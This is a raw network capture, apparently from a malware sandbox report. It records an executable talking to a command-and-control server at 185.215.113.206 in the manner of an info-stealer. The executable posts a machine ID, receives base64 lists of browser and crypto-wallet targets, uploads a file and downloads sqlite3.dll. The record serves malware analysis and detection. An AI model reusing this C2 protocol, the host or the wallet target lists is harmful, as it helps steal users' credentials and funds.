Nov 13, 2024 18:13:00.835542917 CET	1.1.1.1	192.168.2.6	0xc688	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:13:00.836137056 CET	1.1.1.1	192.168.2.6	0x5886	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:13:00.837371111 CET	1.1.1.1	192.168.2.6	0xf695	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:15:58.421252012 CET	1.1.1.1	192.168.2.6	0x71ce	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:15:58.421732903 CET	1.1.1.1	192.168.2.6	0x1179	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:15:58.421889067 CET	1.1.1.1	192.168.2.6	0x8dc	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 13, 2024 18:15:58.422276020 CET	1.1.1.1	192.168.2.6	0xe078	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
2024-11-13 17:08:32 UTC	162.159.61.3	192.168.2.6	0x0	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	true

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	712	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 18:08:08.955513000 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:08:09.873761892 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:09.881524086 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 39 31 32 30 41 46 45 42 44 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 45 48 44 42 41 41 45 43 42 46 48 4a 4b 46 43 46 42 46 2d 2d 0d 0a Data Ascii: ------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="hwid"09120AFEBD991312647697------CAEHDBAAECBFHJKFCFBFContent-Disposition: form-data; name="build"mars------CAEHDBAAECBFHJKFCFBF--
Nov 13, 2024 18:08:10.183351040 CET	407	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 6d 4a 6c 5a 57 4d 35 59 32 55 79 59 32 5a 6b 4e 54 68 6c 4e 7a 46 6a 4d 7a 51 78 5a 44 64 6b 4f 44 6b 77 5a 44 45 78 4e 32 55 30 4e 32 4e 69 4f 47 56 69 4d 54 51 34 4d 6d 51 34 5a 54 59 33 4d 57 45 7a 4d 6d 4d 33 5a 47 4a 69 4e 54 67 33 4e 44 63 35 4f 44 49 34 4e 6d 59 35 4d 6a 42 6a 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MmJlZWM5Y2UyY2ZkNThlNzFjMzQxZDdkODkwZDExN2U0N2NiOGViMTQ4MmQ4ZTY3MWEzMmM3ZGJiNTg3NDc5ODI4NmY5MjBjfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 13, 2024 18:08:10.184371948 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECBAEBGHDAECBGDGCAKE Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 41 45 42 47 48 44 41 45 43 42 47 44 47 43 41 4b 45 2d 2d 0d 0a Data Ascii: ------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------ECBAEBGHDAECBGDGCAKEContent-Disposition: form-data; name="message"browsers------ECBAEBGHDAECBGDGCAKE--
Nov 13, 2024 18:08:10.474879980 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 13, 2024 18:08:10.474894047 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 13, 2024 18:08:10.477132082 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CGIDAAAKJJDBGCBFCBGI Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 44 41 41 41 4b 4a 4a 44 42 47 43 42 46 43 42 47 49 2d 2d 0d 0a Data Ascii: ------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------CGIDAAAKJJDBGCBFCBGIContent-Disposition: form-data; name="message"plugins------CGIDAAAKJJDBGCBFCBGI--
Nov 13, 2024 18:08:10.775696993 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 13, 2024 18:08:10.775711060 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 13, 2024 18:08:10.775722027 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 13, 2024 18:08:10.776786089 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 13, 2024 18:08:10.776798010 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 13, 2024 18:08:10.776808977 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 13, 2024 18:08:10.834475994 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHJKKECFIECAKECAFBGC Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 63 65 32 63 66 64 35 38 65 37 31 63 33 34 31 64 37 64 38 39 30 64 31 31 37 65 34 37 63 62 38 65 62 31 34 38 32 64 38 65 36 37 31 61 33 32 63 37 64 62 62 35 38 37 34 37 39 38 32 38 36 66 39 32 30 63 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 46 48 4a 4b 4b 45 43 46 49 45 43 41 4b 45 43 41 46 42 47 43 2d 2d 0d 0a Data Ascii: ------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------FHJKKECFIECAKECAFBGCContent-Disposition: form-data; name="message"fplugins------FHJKKECFIECAKECAFBGC--
Nov 13, 2024 18:08:11.121324062 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:10 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 13, 2024 18:08:11.268661022 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHDAKFIJJKKEBGDBAAK Host: 185.215.113.206 Content-Length: 6043 Connection: Keep-Alive Cache-Control: no-cache
Nov 13, 2024 18:08:11.268732071 CET	6043	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 44 41 4b 46 49 4a 4a 4b 4b 45 42 47 44 42 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 62 65 65 63 39 Data Ascii: ------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="token"2beec9ce2cfd58e71c341d7d890d117e47cb8eb1482d8e671a32c7dbb5874798286f920c------AEHDAKFIJJKKEBGDBAAKContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 13, 2024 18:08:12.079802990 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:11 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 13, 2024 18:08:12.325999975 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 13, 2024 18:08:12.610682964 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:12 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 13, 2024 18:08:12.610694885 CET	112	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @
Nov 13, 2024 18:08:12.610711098 CET	1236	IN	Data Raw: 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: B
